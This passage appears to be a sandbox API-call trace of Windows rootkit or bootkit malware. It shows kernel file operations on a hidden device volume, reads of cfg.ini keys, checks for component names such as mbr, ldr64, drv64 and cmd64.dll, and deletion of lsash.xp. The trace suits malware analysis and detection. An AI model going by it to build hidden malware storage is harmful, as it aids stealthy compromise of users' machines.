nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.688] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.688] KeEnterCriticalRegion () [0123.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.688] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.688] IdePortDispatch () returned 0x103 [0123.688] KeWaitForMutexObject () returned 0x0 [0123.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.689] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.689] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.689] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.689] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.689] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec510 [0123.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.689] KeLeaveCriticalRegion () [0123.689] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.689] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.689] KeEnterCriticalRegion () [0123.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.689] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.689] KeLeaveCriticalRegion () [0123.689] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.689] KeEnterCriticalRegion () [0123.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.689] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.689] IdePortDispatch () returned 0x103 [0123.689] KeWaitForMutexObject () returned 0x0 [0123.689] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.689] KeLeaveCriticalRegion () [0123.689] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.689] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.689] KeEnterCriticalRegion () [0123.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.689] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f7000 [0123.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.690] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.690] IdePortDispatch () returned 0x103 [0123.691] KeWaitForMutexObject () returned 0x0 [0123.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.691] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.691] IdePortDispatch () returned 0x103 [0123.691] KeWaitForMutexObject () returned 0x0 [0123.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.692] KeLeaveCriticalRegion () [0123.692] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.692] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.692] KeEnterCriticalRegion () [0123.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.692] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.692] KeLeaveCriticalRegion () [0123.692] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.692] KeEnterCriticalRegion () [0123.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.692] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.692] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bedd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.692] KeLeaveCriticalRegion () [0123.692] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.692] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.692] KeEnterCriticalRegion () [0123.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.692] ExFreePoolWithTag (P=0xfffffa8003bec510, Tag=0x0) [0123.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.692] KeLeaveCriticalRegion () [0123.692] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.692] ReleaseMutex (hMutex=0xf0) returned 1 [0123.692] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.692] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.692] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.693] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.693] KeEnterCriticalRegion () [0123.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.693] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.693] IdePortDispatch () returned 0x103 [0123.693] KeWaitForMutexObject () returned 0x0 [0123.693] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.693] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.693] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.693] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.693] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.693] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.693] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.693] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.693] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.693] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.693] KeLeaveCriticalRegion () [0123.693] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.693] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.693] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.693] KeEnterCriticalRegion () [0123.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.693] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.693] IdePortDispatch () returned 0x103 [0123.693] KeWaitForMutexObject () returned 0x0 [0123.694] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.694] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.694] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.694] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.694] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.694] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.694] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.694] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.694] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.694] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.694] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.694] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.694] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.694] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.694] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.694] KeLeaveCriticalRegion () [0123.694] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.694] ReleaseMutex (hMutex=0x100) returned 1 [0123.694] Sleep (dwMilliseconds=0x2bf20) [0123.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cee6f90, dwHighDateTime=0x1d24fa4)) [0123.701] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.701] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.701] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.701] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.701] KeEnterCriticalRegion () [0123.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.701] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.701] IdePortDispatch () returned 0x103 [0123.701] KeWaitForMutexObject () returned 0x0 [0123.701] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.701] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.701] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.701] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.701] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.701] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed010 [0123.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.701] KeLeaveCriticalRegion () [0123.701] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.701] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.701] KeEnterCriticalRegion () [0123.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.701] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.701] KeLeaveCriticalRegion () [0123.701] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.701] KeEnterCriticalRegion () [0123.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.701] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.701] IdePortDispatch () returned 0x103 [0123.702] KeWaitForMutexObject () returned 0x0 [0123.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.702] KeLeaveCriticalRegion () [0123.702] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.702] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.702] KeEnterCriticalRegion () [0123.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.702] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034fa000 [0123.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.702] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.702] IdePortDispatch () returned 0x103 [0123.702] KeWaitForMutexObject () returned 0x0 [0123.702] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.702] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.702] IdePortDispatch () returned 0x103 [0123.702] KeWaitForMutexObject () returned 0x0 [0123.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.703] KeLeaveCriticalRegion () [0123.703] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.703] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.703] KeEnterCriticalRegion () [0123.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.703] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.703] KeLeaveCriticalRegion () [0123.703] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.703] KeEnterCriticalRegion () [0123.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.703] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.703] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bedcd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.703] KeLeaveCriticalRegion () [0123.703] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.703] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.703] KeEnterCriticalRegion () [0123.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.703] ExFreePoolWithTag (P=0xfffffa8003bed010, Tag=0x0) [0123.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.703] KeLeaveCriticalRegion () [0123.703] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.703] ReleaseMutex (hMutex=0xf0) returned 1 [0123.703] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.703] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.703] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.704] KeEnterCriticalRegion () [0123.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.704] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.704] IdePortDispatch () returned 0x103 [0123.704] KeWaitForMutexObject () returned 0x0 [0123.704] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.704] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.704] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.704] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.704] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.704] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed4a0 [0123.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.704] KeLeaveCriticalRegion () [0123.704] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.704] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.704] KeEnterCriticalRegion () [0123.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.704] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.704] KeLeaveCriticalRegion () [0123.704] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.704] KeEnterCriticalRegion () [0123.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.704] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.704] IdePortDispatch () returned 0x103 [0123.704] KeWaitForMutexObject () returned 0x0 [0123.705] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.705] KeLeaveCriticalRegion () [0123.705] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.705] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.705] KeEnterCriticalRegion () [0123.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.705] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034fb000 [0123.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.705] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.705] IdePortDispatch () returned 0x103 [0123.705] KeWaitForMutexObject () returned 0x0 